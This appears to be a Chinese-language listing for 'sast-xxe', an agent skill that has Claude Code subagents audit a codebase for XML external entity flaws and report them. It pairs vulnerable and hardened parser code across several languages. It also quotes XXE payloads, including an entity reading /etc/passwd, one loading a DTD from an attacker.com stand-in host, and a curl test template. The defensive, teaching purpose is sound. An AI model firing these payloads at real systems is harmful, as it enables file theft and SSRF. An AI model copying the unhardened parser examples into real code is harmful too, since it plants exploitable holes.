关于 sast-xxe
sast-xxe 是用于在代码库中检测 XML 外部实体(XXE)漏洞的安全审计技能。它通过侦察、分批验证输入流和汇总结果开展分析,并要求预先存在 `sast/architecture.md`。
主要功能
- 01三阶段 XXE 审计
- 02发现 XML 解析位置
- 03验证用户输入流向
- 04汇总检测结果
适用场景
- 01审计上传数据的 XML 解析
- 02检查解析器的 XXE 防护
- 03追踪用户输入到 XML 解析器
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ utkusen/ sast-skills --skill sast-xxe安装后在 Claude Code 中输入/sast-xxe确认已加载。
详细介绍
XML 外部实体(XXE)检测
你正在进行有针对性的安全评估,以查找代码库中的 XXE 漏洞。此技能采用包含子 Agent 的三阶段方法:侦察(查找未安全禁用外部实体的 XML 解析位置)、分批验证(追踪用户提供的输入是否会到达这些解析器,每批并行处理 3 个)以及合并(将各批次的结果整合为一份报告)。
前提条件:sast/architecture.md 必须存在。如果不存在,请先运行分析技能。
什么是 XXE
当 XML 解析器处理包含外部实体引用的文档,且启用了外部实体解析时,就会发生 XXE。能够提供 XML 输入的攻击者可以利用这一点读取任意本地文件、发起服务器端请求伪造(探测内部网络)、通过实体扩展触发拒绝服务(Billion Laughs),或在某些技术栈中执行操作系统命令。
核心模式:用户控制的 XML 到达未禁用 DTD 处理或外部实体解析的 XML 解析器。
什么情况属于 XXE
- XML 默认启用了外部实体解析,且未显式加固
SYSTEM实体声明引用file://或http://URI:<!ENTITY xxe SYSTEM "file:///etc/passwd">- 对于默认启用 DTD 处理的解析器(Java DOM/SAX、PHP SimpleXML/DOMDocument、基于 libxml2 的解析器),未显式禁用 DTD 处理
- 在 DTD 中注入参数实体:
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; - 启用 XInclude 处理时发生 XInclude 注入
- 通过 XXE 实现 SSRF:使用
http://或https://外部实体 URL 访问内部服务 - 通过带外数据窃取(DNS、向攻击者控制的服务器发起 HTTP 回调)实现盲 XXE
什么情况不属于 XXE
以下情况不要标记为 XXE:
- 通过 XML 实现 XSS:XML 数据未经转义就作为 HTML 呈现——这是 XSS
- 通过非 XML 实现 SSRF:由其他机制触发的 HTTP 请求——这是 SSRF
- 解析完全由服务器控制的 XML 数据:配置文件、捆绑资源、不会受到用户影响的迁移脚本——不可利用
- 安全的解析器:默认禁用外部实体,且不提供重新启用方式的库(例如 Python 中的
defusedxml,以及 Ruby 中使用默认设置处理不可信输入的nokogiri)
可防止 XXE 的模式
看到以下模式时,解析器很可能不存在漏洞:
1. 禁用 DTD / 外部实体(Java DOM)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
2. 禁用外部实体(Java SAX)
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
3. 禁用外部实体(Java StAX / XMLInputFactory)
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
4. Python — defusedxml(始终安全)
import defusedxml.ElementTree as ET
tree = ET.parse(source) # external entities, DTD, entity expansion all blocked
5. Python — lxml,设置 resolve_entities=False
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.parse(source, parser)
6. PHP — libxml_disable_entity_loader(PHP < 8.0)/ LIBXML_NONET 标志
libxml_disable_entity_loader(true); // PHP 7.x — disables external entity loading
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_NONET); // LIBXML_NONET blocks network
// Note: LIBXML_NOENT alone EXPANDS entities — it does NOT disable them
7. .NET — XmlReaderSettings,设置 DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
8. Node.js — xml2js(在 v0.5+ 中默认安全)
const xml2js = require('xml2js');
// xml2js does not resolve external entities by default — safe
xml2js.parseString(xmlInput, callback);
易受攻击与安全示例
Python — 标准库 xml.etree.ElementTree(在 CPython < 3.8 中默认易受攻击 / expat 特殊行为)
# VULNERABLE: ElementTree parses DTDs; stdlib does NOT protect against all XXE
import xml.etree.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # no hardening — expat may resolve entities
return process(tree)
# SECURE: use defusedxml drop-in replacement
import defusedxml.ElementTree as ET
def parse_data(request):
xml_data = request.body
tree = ET.fromstring(xml_data) # defusedxml blocks all XXE vectors
return process(tree)
Python — lxml
# VULNERABLE: lxml resolves external entities by default
from lxml import etree
def parse_upload(request):
data = request.body
tree = etree.fromstring(data) # external entities resolved, network access allowed
return render(tree)
# SECURE: disable entity resolution and network access
from lxml import etree
def parse_upload(request):
data = request.body
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(data, parser)
return render(tree)
Java — DocumentBuilder(DOM)
// VULNERABLE: default DocumentBuilder resolves external entities
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
// SECURE: disable DTD and external entity features
@PostMapping("/import")
public ResponseEntity<?> importXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
return ResponseEntity.ok(process(doc));
}
Java — SAXParser
// VULNERABLE: default SAXParser allows external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
// SECURE: disable external entities
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
parser.parse(inputStream, handler);
Java — XMLInputFactory(StAX)
// VULNERABLE: default XMLInputFactory supports external entities
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
// SECURE: disable external entity support
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
XMLStreamReader xsr = xif.createXMLStreamReader(inputStream);
PHP — SimpleXML / DOMDocument
// VULNERABLE: simplexml_load_string with no entity loader disabled
function parseXml($xml) {
return simplexml_load_string($xml); // resolves external entities
}
// VULNERABLE: DOMDocument without protection
function parseXml($xml) {
$doc = new DOMDocument();
$doc->loadXML($xml); // external entities enabled by default
return $doc;
}
// SECURE (PHP 7.x): disable entity loader before parsing
function parseXml($xml) {
libxml_disable_entity_loader(true);
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NONET);
return $doc;
}
.NET — XmlDocument / XmlTextReader
// VULNERABLE: XmlDocument with default XmlUrlResolver resolves external entities
XmlDocument doc = new XmlDocument();
doc.Load(stream); // external entities resolved
// VULNERABLE: XmlTextReader (legacy) — DTD processing on by default in old .NET
XmlTextReader reader = new XmlTextReader(stream);
// SECURE: XmlDocument with null resolver and prohibited DTD
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // disables external entity resolution
doc.Load(stream);
// SECURE: XmlReader with DtdProcessing.Prohibit
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
XmlReader reader = XmlReader.Create(stream, settings);
Node.js — libxmljs
// VULNERABLE: libxmljs parses with entity resolution on by default
const libxml = require('libxmljs');
app.post('/parse', (req, res) => {
const doc = libxml.parseXmlString(req.body);
res.send(doc.toString());
});
// SAFER: no built-in safe flag — avoid libxmljs for untrusted input entirely
// Prefer xml2js or a non-libxml2-backed parser
Ruby — Nokogiri
# VULNERABLE: Nokogiri with NOENT option enables entity substitution
def parse_xml(xml_input)
Nokogiri::XML(xml_input) { |config| config.noent }
end
# SECURE: default Nokogiri (no options) — safe for untrusted input
def parse_xml(xml_input)
Nokogiri::XML(xml_input)
end
Go — encoding/xml
// VULNERABLE: Go's encoding/xml does not resolve external entities
// but if combined with a third-party parser like etree with network enabled:
import "github.com/beevik/etree"
func parseXML(data []byte) {
doc := etree.NewDocument()
doc.ReadFromBytes(data) // check library's entity resolution behaviour
}
// Go's standard encoding/xml: does not resolve external entities — generally safe.
// Flag only if a third-party XML library with entity support is used.
执行
此技能使用子 Agent 分三个阶段运行。将 sast/architecture.md 的内容作为上下文传递给所有子 Agent。
阶段 1:查找易受攻击的 XML 解析位置
启动一个子 Agent,并向其提供以下指令:
目标:找出代码库中所有未明确禁用外部实体解析的 XML 解析位置。将结果写入
sast/xxe-recon.md。背景:你将获得项目的架构摘要。请据此了解技术栈、使用的 XML 库以及任何接受 XML 的端点。
需要搜索的内容——易受攻击的 XML 解析模式:
标记任何未同时就近进行配对加固(禁用 DTD/外部实体功能)的 XML 解析调用。此阶段暂不追踪输入是否由用户控制,那是第 2 阶段的工作。
- Python——标准库解析器(除非使用 defusedxml 作为直接替代,否则均需标记):
xml.etree.ElementTree.parse(...)、ET.fromstring(...)、ET.iterparse(...)xml.dom.minidom.parseString(...)、xml.dom.minidom.parse(...)xml.sax.parseString(...)、xml.sax.parse(...)xmltodict.parse(...)(基于 expat——通常不会受到实体扩展攻击,但仍需标记以供审查)- Python——lxml(除非设置了
resolve_entities=False和no_network=True,否则均需标记):
etree.parse(...)、etree.fromstring(...)、etree.XML(...)- 未设置
resolve_entities=False的etree.XMLParser(...)objectify.parse(...)、objectify.fromstring(...)- Java——实例化以下对象但未设置相应加固功能的,均需标记:
DocumentBuilderFactory.newInstance()→newDocumentBuilder()→parse(...)SAXParserFactory.newInstance()→newSAXParser()→parse(...)XMLInputFactory.newInstance()→createXMLStreamReader(...)TransformerFactory.newInstance()→newTransformer()与 XML 源一起使用SchemaFactory.newInstance(...)→newSchema(...)- Spring:使用
Jaxb2Marshaller的MarshallingHttpMessageConverter,且未禁用实体扩展- PHP——未在调用前立即使用
libxml_disable_entity_loader(true)(PHP 7.x),或未使用LIBXML_NONET标志(PHP 8.x)的,均需标记:
simplexml_load_string(...)、simplexml_load_file(...)DOMDocument::loadXML(...)、DOMDocument::load(...)- 使用
xml_parser_create()的xml_parse(...)- 使用原始字符串的
SimpleXMLElement::__construct(...)- .NET——未设置
DtdProcessing.Prohibit和XmlResolver = null的,均需标记:
new XmlDocument()后调用.Load(...)或.LoadXml(...)new XmlTextReader(...)(旧版——较早版本的 .NET 默认启用 DTD)XPathDocument(...)、XDocument.Load(...)、XElement.Load(...)- 未使用
XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit }的XmlReader.Create(...)- Node.js——在解析不可信输入时,标记以下库的使用情况:
libxmljs.parseXmlString(...)、libxmljs.parseXml(...)node-expat解析器实例化sax.createStream(...)/sax.parser(...)——检查是否使用了实体扩展xml2js.parseString(...)——v0.5+ 通常是安全的;仅在explicitArray或其他选项表明使用较旧版本或重新启用了实体扩展时标记- Ruby——在启用实体扩展的选项下使用时,标记以下情况:
Nokogiri::XML(input) { |config| config.noent }——noent会启用实体替换REXML::Document.new(input)——REXML 易受实体扩展 DoS 攻击;检查是否使用了实体扩展LibXML::XML::Document.string(input)——检查实体选项- Go——标记支持实体解析的第三方 XML 库:
- 使用
github.com/beevik/etree——检查是否配置了网络/实体解析- 标准库
encoding/xml通常是安全的(不会解析外部实体)——仅在与自定义实体处理结合使用时标记跳过以下情况(这些模式是安全的,不要标记):
- 使用
import defusedxml作为 XML 解析器(Python)etree.XMLParser(resolve_entities=False, no_network=True)(lxml)- Java
DocumentBuilderFactory已将disallow-doctype-decl功能设为true- Java
XMLInputFactory已将IS_SUPPORTING_EXTERNAL_ENTITIES = false- .NET
XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit, XmlResolver = null }- 默认使用 Nokogiri,且未使用
noent或其他实体扩展选项- 解析完全静态、随项目打包且不受用户影响的 XML 文件(例如启动时从磁盘读取配置,且不涉及任何用户输入)
输出格式——写入
sast/xxe-recon.md:# XXE 侦察:[项目名称] ## 摘要 发现 [N] 处未显式加固外部实体的 XML 解析位置。 ## 易受攻击的解析位置 ### 1. [描述性名称——例如,“上传处理程序中的 lxml.etree.fromstring 未设置 resolve_entities=False”] - **文件**:`path/to/file.ext`(第 X-Y 行) - **函数/端点**:[函数名称或路由] - **解析器/库**:[例如 lxml etree / Java DocumentBuilder / PHP DOMDocument] - **缺失的加固措施**:[缺失的保护措施——例如,“未将 resolve_entities 设为 False”、“未设置 disallow-doctype-decl 功能”] - **输入变量**:`var_name` — [简要说明其可能来源,例如“HTTP 请求正文”、“文件上传内容”或“来源未知”] - **代码片段**:[XML 解析调用及其上下文]
[每处位置重复此格式]
阶段之间:检查侦察结果
阶段 1 完成后,读取 sast/xxe-recon.md。如果摘要指出未发现任何易受攻击的解析位置(或文件中“易受攻击的解析位置”下没有条目),不要启动阶段 2 或阶段 3。改为将以下内容写入 sast/xxe-results.md,删除 sast/xxe-recon.md,然后停止:
No vulnerabilities found.
只有在侦察输出中识别出至少一个易受攻击的解析位置时,才继续执行阶段 2。
阶段 2:验证 — 跟踪用户输入(分批处理)
阶段 1 完成后,读取 sast/xxe-recon.md,并将“易受攻击的解析位置”下的条目拆分为每批最多 3 个位置(使用带编号的 ### 小节:### 1.、### 2. 等)。为每批并行启动一个子 Agent。每个子 Agent 仅跟踪分配给自己的位置中的污点,并将结果写入各自的批次文件。
分批流程(由你这个协调者执行,而不是子 Agent):
- 读取
sast/xxe-recon.md并统计带编号的位置小节(### 1.、### 2. 等)。 - 将它们拆分为每批最多 3 个位置。例如,8 个位置 → 3 批(1-3、4-6、7-8)。
- 从侦察文件中提取每批对应位置小节的完整文本。
- 并行启动所有批次子 Agent,并只向每个子 Agent 提供分配给它的条目。
- 每个子 Agent 将结果写入
sast/xxe-batch-N.md,其中 N 为从 1 开始的批次编号。 - 根据
sast/architecture.md确定项目的主要语言/框架,并从上方的“易受攻击与安全示例”部分中仅选择匹配的示例。例如,如果项目使用 Java 和 DocumentBuilder,则只包含与 Java 相关的示例。按下方[TECH-STACK EXAMPLES]所示,将这些选定的示例加入每个子 Agent 的指令中。
向每个批次子 Agent 提供以下指令(替换为对应批次的值):
目标:针对每个分配到的易受攻击 XML 解析点,确定用户提供的值是否会到达 XML 解析器。我们的目标是查找 XXE 漏洞。将结果写入
sast/xxe-batch-[N].md。分配给你的解析点(来自侦察阶段):
[在此粘贴分配到的站点章节全文,并保留原始编号]
背景:你将获得项目的架构摘要。利用它了解请求入口点、中间件、文件上传处理程序,以及数据如何在应用程序中流动。
XXE 参考——检查要点:
用户控制的 XML 不得到达允许外部实体解析且未经过加固的解析器。追踪每个站点的 XML 输入来源。
对于每个解析点,向上追踪 XML 输入变量的来源:
- 直接用户输入——XML 内容直接从请求来源赋值:
- HTTP 请求正文(尤其是
Content-Type: application/xml或text/xml端点):request.body、req.body、request.data、php://input、HttpContext.Request.Body- 文件上传:
request.FILES、req.file、multipart/form-data字段- 含有 XML 片段的 HTTP 查询参数或表单字段
- 引用 XML 资源的 URL 路径参数
- 间接用户输入——XML 通过转换或中间步骤派生自用户输入:
- 使用用户提供的文件路径打开并解析文件
- 获取用户提供的 URL,并将响应解析为 XML
- 在解析前将用户输入嵌入 XML 模板(可能注入 XML 结构本身)
- 通过辅助函数传递的变量——追踪完整调用链
- 二阶输入——XML 内容此前已从用户控制的上传或输入存入数据库或文件系统,现在正在被解析:
- 查明存储内容最初写入的位置——当时是否由用户提供?
- 写入时是否经过验证或清理?
- 服务端/硬编码来源——XML 来自打包资源、启动时加载的配置文件,或不受用户影响的服务端生成内容——此站点不会因用户输入而遭受 XXE 攻击。
对于每个解析点,还要评估其可利用性:
- 响应是否会返回给调用方?(反射型 XXE——攻击者可以直接读取文件内容)
- 响应不会返回,但是否能观察到副作用?(盲 XXE——通过 DNS/HTTP 带外通道或错误消息外传数据)
- 应用是否需要身份验证?(会降低严重性,但不会消除漏洞)
- 解析器是否用于仅接受特定 XML 架构的场景?(例如 SOAP 信封验证——若启用了 DTD 处理,仍可利用)
适用于本项目技术栈的易受攻击与安全示例:
[TECH-STACK EXAMPLES]
分类:
- 易受攻击:有明确证据表明用户输入会到达 XML 解析器,且解析器未针对外部实体进行加固。响应或带外通道允许数据外传。
- 可能易受攻击:用户输入可能会到达解析器(间接数据流),或者解析器未加固,但利用路径部分不明确。
- 不易受攻击:XML 来源完全由服务端控制,或解析器已正确加固(禁用 DTD、禁用外部实体)。
- 需要人工审查:无法有把握地确定输入来源,或加固配置较复杂,需要运行时验证。
输出格式——写入
sast/xxe-batch-[N].md:# XXE 批次 [N] 结果 ## 发现 ### [易受攻击] 描述性名称 - **文件**:`path/to/file.ext`(第 X-Y 行) - **端点/函数**:[路由或函数名称] - **问题**:[例如,“HTTP 请求正文直接流入 lxml etree.fromstring,且未设置 resolve_entities=False”] - **污点追踪**:[从入口点到解析调用的逐步追踪——例如,“request.body → xml_data → etree.fromstring(xml_data)”] - **解析器**:[库名称及已知版本] - **可利用性**:[反射型/盲带外/仅 DoS——说明攻击者能实现什么] - **影响**:[例如,“通过 file:// 实体读取任意本地文件”,“通过 http:// 实体向内部服务发起 SSRF”,“通过实体扩展导致 DoS”] - **修复建议**:[具体修复方式——例如,“使用 defusedxml”,“设置 resolve_entities=False 和 no_network=True”,“将 disallow-doctype-decl 特性设为 true”] - **动态测试**:[用于确认该发现的 curl 命令或载荷。 显示确切的端点、Content-Type 标头和 XXE 载荷。 示例: curl -X POST https://app.example.com/api/import
-H "Content-Type: application/xml"
-d ']>&xxe;' 检查响应正文中是否包含 /etc/passwd 的内容。]### [可能易受攻击] 描述性名称 - **文件**:`path/to/file.ext`(第 X-Y 行) - **端点/函数**:[路由或函数名称] - **问题**:[例如,“XML 来源可能是通过辅助函数传入的用户上传文件”,或“解析器未加固,但输入路径不完全明确”] - **污点追踪**:[尽力追踪,并指出不确定的步骤] - **风险点**:[说明为何尽管存在不确定性,仍有风险] - **修复建议**:[应用适当的解析器加固措施] - **动态测试**:[尝试使用的载荷]
### [不易受攻击] 描述性名称 - **文件**:`path/to/file.ext`(第 X-Y 行) - **端点/函数**:[路由或函数名称] - **原因**:[例如,“XML 从启动时读取的打包配置文件中获取,不受用户影响”,或“使用 defusedxml 作为解析器”] ### [需要人工审查] 描述性名称 - **文件**:`path/to/file.ext`(第 X-Y 行) - **端点/函数**:[路由或函数名称] - **不确定性**:[无法确定输入来源或解析器配置的原因] - **建议**:[需要人工追踪的内容——例如,“跟踪 xml_utils.py 中的 `load_document()`,确认其参数是否来自用户请求”]
阶段 3:合并 — 汇总批次结果
所有阶段 2 批次子 Agent 全部完成后,读取每个 sast/xxe-batch-*.md 文件,并将它们合并到单个 sast/xxe-results.md 中。由你(协调者)直接完成此操作 — 无需子 Agent。
合并步骤:
- 读取所有
sast/xxe-batch-1.md、sast/xxe-batch-2.md……文件。 - 收集每个批次文件中的所有发现并合并为一个列表,同时保留原始分类和所有详细字段。
- 汇总所有批次的总数,用于执行摘要。
- 使用以下格式将合并后的报告写入
sast/xxe-results.md:
# XXE Analysis Results: [Project Name]
## Executive Summary
- Parsing sites analyzed: [total across all batches]
- Vulnerable: [N]
- Likely Vulnerable: [N]
- Not Vulnerable: [N]
- Needs Manual Review: [N]
## Findings
[All findings from all batches, grouped by classification:
VULNERABLE first, then LIKELY VULNERABLE, then NEEDS MANUAL REVIEW, then NOT VULNERABLE.
Preserve every field from the batch results exactly as written.]
- 写入
sast/xxe-results.md后,删除所有中间文件:sast/xxe-recon.md和sast/xxe-batch-*.md。
重要提醒
- 读取
sast/architecture.md,并将其内容作为上下文传递给所有子 Agent。 - 阶段 2 必须在阶段 1 完成后运行 — 它依赖侦察结果。
- 阶段 3 必须在所有阶段 2 批次完成后运行 — 它依赖所有批次的输出。
- 每个子 Agent 的批次大小为 3 个解析位置。如果总共只有 1-3 个位置,则使用单个子 Agent。如果有 10 个位置,则使用 4 个子 Agent(3+3+3+1)。
- 并行启动所有批次子 Agent — 不要按顺序运行。
- 每个批次子 Agent 只接收侦察文件中分配给它的位置文本,而不是整个侦察文件。这样可以让每个子 Agent 的上下文更精简、更聚焦。
- 阶段 1 纯粹进行结构分析:标记任何缺少显式外部实体防护的 XML 解析调用,不论输入来自何处。阶段 1 不要尝试追踪用户输入 — 这是阶段 2 的任务。
- 阶段 2 纯粹进行污点分析:针对阶段 1 发现的每个位置,追踪 XML 输入的来源。如果输入来自用户可控来源,则该位置构成真实漏洞。
- 解析器默认行为很重要:Java DOM/SAX、PHP SimpleXML/DOMDocument 和 lxml 默认都会解析外部实体 — 必须显式进行防护。Python 的
defusedxml和 Go 的encoding/xml默认是安全的。 - 不要将
LIBXML_NOENT误认为防护措施:在 PHP 中,LIBXML_NOENT会将实体展开为其值 — 它不会禁用实体加载。只有libxml_disable_entity_loader(true)或LIBXML_NONET能提供网络实体防护。 - XInclude 是一种独立攻击途径:如果 Java 解析器启用了
XIncludeAware处理,或者其他地方处理了xi:include,则应单独标记 — 它无需经典的ENTITY声明即可读取本地文件。 - 有疑问时,应归类为“需要人工审查”,而不是“无漏洞”。在安全评估中,漏报比误报更糟。
- 污点可能间接传播:文件上传可能在一个处理程序中保存到磁盘,然后在另一个后台任务中解析。应追踪包括异步处理路径在内的完整链路。
- 无回显 XXE(响应中没有输出)仍可通过 DNS 或 HTTP 回调利用,回调目标可以是攻击者控制的服务。不要仅仅因为解析后的 XML 没有回显,就忽略某项发现。
- 清理中间文件:写入最终的
sast/xxe-results.md后,确保删除sast/xxe-recon.md和所有sast/xxe-batch-*.md文件(零发现提前退出时,只删除sast/xxe-recon.md)。